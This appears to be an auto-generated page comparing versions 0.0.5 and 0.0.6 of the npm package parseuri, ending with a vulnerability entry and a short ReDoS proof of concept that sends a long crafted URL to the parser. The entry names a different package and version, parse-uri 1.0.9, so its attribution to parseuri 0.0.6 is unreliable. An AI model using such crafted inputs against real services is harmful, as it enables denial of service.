Parseuri is a lightweight npm package designed for developers needing a reliable way to dissect URIs. Version 0.0.6 introduces several changes and improvements over its predecessor, version 0.0.5, making it a more compelling choice for modern JavaScript projects.
The most notable difference lies in the development dependencies. While version 0.0.5 relied heavily on better-assert for testing, version 0.0.6 adopts expect.js alongside mocha for its testing suite. This shift suggests a potential move towards more expressive and readable assertions, potentially streamlining the development and maintenance process. It's also noteworthy that the duplicate declaration of "better-assert" in devDependencies and dependencies has been fixed in 0.0.6.
Another significant change is the presence of distribution metadata in version 0.0.6. The dist object provides details such as fileCount (7) and unpackedSize (5914 bytes), offering developers insights into the package's footprint. This information can be valuable for performance-conscious developers or those working in environments with limited resources. Importantly, version 0.0.6 has a declared author of "Gal Koren" while it was an empty string on version 0.0.5.
Finally, It's worth to note that the more recent version also has a 3 year gap from its predecessor. Based on the releaseDate, version 0.0.6 was published in September 2019, while version 0.0.5 was released in October 2016, offering newer features that weren't previously available. These improvements make version 0.0.6 a worthwhile upgrade for developers already using Parseuri or those seeking a straightforward URI parsing solution.
All the vulnerabilities related to the version 0.0.6 of the package
parse-uri Regular expression Denial of Service (ReDoS)
An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.
async function exploit() {
const parseuri = require("parse-uri");
// This input is designed to cause excessive backtracking in the regex
const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
const result = await parseuri(craftedInput);
}
await exploit();